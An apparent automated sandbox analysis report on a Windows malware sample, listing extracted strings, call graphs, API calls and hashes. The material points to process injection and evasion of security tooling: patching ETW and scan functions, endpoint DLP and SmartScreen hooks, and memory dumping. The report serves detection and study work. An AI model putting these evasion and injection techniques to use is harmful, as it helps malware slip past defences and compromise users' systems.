                                                                                                                                                          • String ID: .url$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$acS$advapi32$bcrypt$can$dbgcore$endpointdlp$http$ieproxy$kernel32$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$tquery$wintrust
                                                                                                                                                          • API String ID: 2044571854-184510087
                                                                                                                                                          • Opcode ID: 0313e5a6383f89ef0e2f90f9917cc4b2fae9b5e9c9455030cf8edda1a55863bd
                                                                                                                                                          • Instruction ID: 342b822525e12c21afb9556f66750e801810f4060eb5191ebd1c8ce23e0ba442
                                                                                                                                                          • Opcode Fuzzy Hash: 0313e5a6383f89ef0e2f90f9917cc4b2fae9b5e9c9455030cf8edda1a55863bd
                                                                                                                                                          • Instruction Fuzzy Hash: A9141D3CB1415D9FDB51EB69D890ADB73F7BB88304F1044E6A609EB254DA31AE81CF42
                                                                                                                                                          Function 029182F8 Relevance: 160.3, APIs: 5, Strings: 85, Instructions: 2771processthreadCOMMON
                                                                                                                                                          Download Yara Rule

                                                                                                                                                          Control-flow Graph

                                                                                                                                                          • Executed
                                                                                                                                                          • Not Executed
                                                                                                                                                          control_flow_graph 4578 29182f8-29186e7 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f48ec 4693 2919571-29196f4 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f48ec 4578->4693 4694 29186ed-29188c0 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f47ec call 28f49a0 call 28f4d74 call 28f4df0 CreateProcessAsUserW 4578->4694 4784 2919ea0-291b4a5 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f46d4 * 2 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c * 16 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 28f46d4 * 2 call 290889c call 2907c10 call 2908204 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c ExitProcess 4693->4784 4785 29196fa-2919709 call 28f48ec 4693->4785 4803 29188c2-2918939 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c 4694->4803 4804 291893e-2918a49 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c 4694->4804 4785->4784 4792 291970f-29199e2 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 290f388 call 28f4860 call 28f49a0 call 28f46d4 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f7e5c 4785->4792 5051 29199e8-2919c95 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4de0 * 2 call 28f4764 call 290df80 4792->5051 5052 2919c9a-2919e9b call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f49f8 call 2908c28 4792->5052 4803->4804 4903 2918a50-2918d70 call 28f49f8 call 290e144 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 290d01c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c 4804->4903 4904 2918a4b-2918a4e 4804->4904 5221 2918d72-2918d84 call 29085fc 4903->5221 5222 2918d89-291956c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c ResumeThread call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c CloseHandle call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 2907f4c call 2908818 * 6 CloseHandle call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c 4903->5222 4904->4903 5051->5052 5052->4784 5221->5222 5222->4693
                                                                                                                                                          APIs
                                                                                                                                                            • Part of subcall function 0290889C: LoadLibraryA.KERNEL32(00000000,00000000,02908983), ref: 029088D0
                                                                                                                                                            • Part of subcall function 0290889C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02908983), ref: 029088E0
                                                                                                                                                            • Part of subcall function 0290889C: GetProcAddress.KERNEL32(74AE0000,00000000), ref: 029088F9
                                                                                                                                                            • Part of subcall function 0290889C: FreeLibrary.KERNEL32(74AE0000,00000000,0294B388,Function_0000662C,00000004,0294B398,0294B388,000186A3,00000040,0294B39C,74AE0000,00000000,00000000,00000000,00000000,02908983), ref: 02908963
                                                                                                                                                          • CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02A3F7DC,02A3F820,OpenSession,0294B37C,0291B9D4,UacScan,0294B37C), ref: 029188B9
                                                                                                                                                          • ResumeThread.KERNEL32(00000000,ScanBuffer,0294B37C,0291B9D4,OpenSession,0294B37C,0291B9D4,UacScan,0294B37C,0291B9D4,ScanBuffer,0294B37C,0291B9D4,OpenSession,0294B37C,0291B9D4), ref: 02918F03
                                                                                                                                                          • CloseHandle.KERNEL32(00000000,ScanBuffer,0294B37C,0291B9D4,OpenSession,0294B37C,0291B9D4,UacScan,0294B37C,0291B9D4,00000000,ScanBuffer,0294B37C,0291B9D4,OpenSession,0294B37C), ref: 02919082
                                                                                                                                                            • Part of subcall function 02908818: LoadLibraryW.KERNEL32(bcrypt,?,000008D8,00000000,0294B3A4,0290A43F,ScanString,0294B3A4,0290A7F4,ScanBuffer,0294B3A4,0290A7F4,Initialize,0294B3A4,0290A7F4,UacScan), ref: 0290882C
                                                                                                                                                            • Part of subcall function 02908818: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02908846
                                                                                                                                                            • Part of subcall function 02908818: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,000008D8,00000000,0294B3A4,0290A43F,ScanString,0294B3A4,0290A7F4,ScanBuffer,0294B3A4,0290A7F4,Initialize), ref: 02908882
                                                                                                                                                          • CloseHandle.KERNEL32(00000000,00000000,ScanBuffer,0294B37C,0291B9D4,UacInitialize,0294B37C,0291B9D4,ScanBuffer,0294B37C,0291B9D4,OpenSession,0294B37C,0291B9D4,UacScan,0294B37C), ref: 02919474
                                                                                                                                                            • Part of subcall function 028F7E5C: GetFileAttributesA.KERNEL32(00000000,?,02910714,ScanString,0294B37C,0291B9D4,OpenSession,0294B37C,0291B9D4,ScanString,0294B37C,0291B9D4,UacScan,0294B37C,0291B9D4,UacInitialize), ref: 028F7E67
                                                                                                                                                            • Part of subcall function 0290DF80: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0290E052), ref: 0290DFBF
                                                                                                                                                            • Part of subcall function 0290DF80: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0290DFF9
                                                                                                                                                            • Part of subcall function 0290DF80: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0290E026
                                                                                                                                                            • Part of subcall function 0290DF80: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0290E02F
                                                                                                                                                            • Part of subcall function 02908204: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0290828E), ref: 02908270
                                                                                                                                                          • ExitProcess.KERNEL32(00000000,OpenSession,0294B37C,0291B9D4,ScanBuffer,0294B37C,0291B9D4,Initialize,0294B37C,0291B9D4,00000000,00000000,00000000,ScanString,0294B37C,0291B9D4), ref: 0291B4A5
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Library$CloseFileHandle$AddressCreateFreeLoadPathProcProcess$AttributesCacheExitFlushInstructionModuleNameName_ResumeThreadUserWrite
                                                                                                                                                          • String ID: Advapi$BCryptVerifySignature$C:\Windows\System32\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$I_QueryTagInformation$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$advapi32$bcrypt$dbgcore$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
                                                                                                                                                          • API String ID: 2481178504-1225450241
                                                                                                                                                          • Opcode ID: c2f5cbcc44be089eb0b7e052b5ac6d19d87844a11a57c45a4e5a687d8691e07a
                                                                                                                                                          • Instruction ID: ea3c2bb7870834dc25b4aaebf85ffdfdd2dd209b7dde4a9a8a3e100bd5f4abbf
                                                                                                                                                          • Opcode Fuzzy Hash: c2f5cbcc44be089eb0b7e052b5ac6d19d87844a11a57c45a4e5a687d8691e07a
                                                                                                                                                          • Instruction Fuzzy Hash: AE430B3DB0415D9FDB51EB69DC809DB73F7BB88304F1044E6A609EB254DA31AE928F42
                                                                                                                                                          Function 02914134 Relevance: 38.7, APIs: 2, Strings: 22, Instructions: 2741sleepCOMMON
                                                                                                                                                          Download Yara Rule

                                                                                                                                                          Control-flow Graph

                                                                                                                                                          • Executed
                                                                                                                                                          • Not Executed
                                                                                                                                                          control_flow_graph 7740 2914134-2914386 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f7e5c 7805 29143e3-2914ac5 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 2908784 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f49a0 call 28f3244 call 290e96c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c Sleep call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f46d4 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f47ec call 28f49a0 call 2907c10 call 2908818 call 28f4860 call 28f49a0 call 28f47ec call 28f49a0 call 2907c10 call 2908818 call 2908784 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f7e5c 7740->7805 7806 2914388-29143de call 290e64c call 28f4de0 call 28f4764 call 28f4de0 call 290df80 7740->7806 8022 2914ac7-2914b08 call 28f4de0 * 2 call 28f4764 call 290df80 7805->8022 8023 2914b0d-2914cd4 call 2908784 call 290f388 call 28f47ec call 28f49a0 call 28f46d4 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 2908784 call 28f7e5c 7805->8023 7806->7805 8022->8023 8087 2914d31-2914f80 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f7e5c 8023->8087 8088 2914cd6-2914d2c call 290e64c call 28f4de0 call 28f4764 call 28f4de0 call 290df80 8023->8088 8162 2914f82-2914fd8 call 290e64c call 28f4de0 call 28f4764 call 28f4de0 call 290df80 8087->8162 8163 2914fdd-291532e call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 2908784 call 28f4860 call 28f49a0 call 28f46d4 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 2908784 call 28f7e5c 8087->8163 8088->8087 8162->8163 8269 2915330-2915386 call 290e64c call 28f4de0 call 28f4764 call 28f4de0 call 290df80 8163->8269 8270 291538b-291576f call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 2908784 call 28f49a0 call 2908488 Sleep call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4d74 call 290def8 call 28f4d74 call 290def8 call 28f49a0 call 28f4d74 call 290def8 call 28f49a0 call 28f4d74 call 290def8 call 28f49a0 call 28f4d74 call 290def8 call 28f49a0 call 28f4d74 call 290def8 call 28f49a0 call 28f4d74 call 290def8 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c 8163->8270 8269->8270 8407 2915774-2915f4a call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 290e68c call 28f4530 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f7acc call 290f460 call 28f4530 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 290f388 call 290f3fc call 28f4530 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f48ec 8270->8407 8636 2915f50-2915f95 call 28f4860 call 28f49a0 call 28f46d4 call 28f7e5c 8407->8636 8637 2917738-29179b3 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f48ec 8407->8637 8636->8637 8655 2915f9b-29166a5 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c call 28f4860 call 28f49a0 call 28f46d4 call 28f47ec call 28f49a0 call 28f46d4 call 290889c 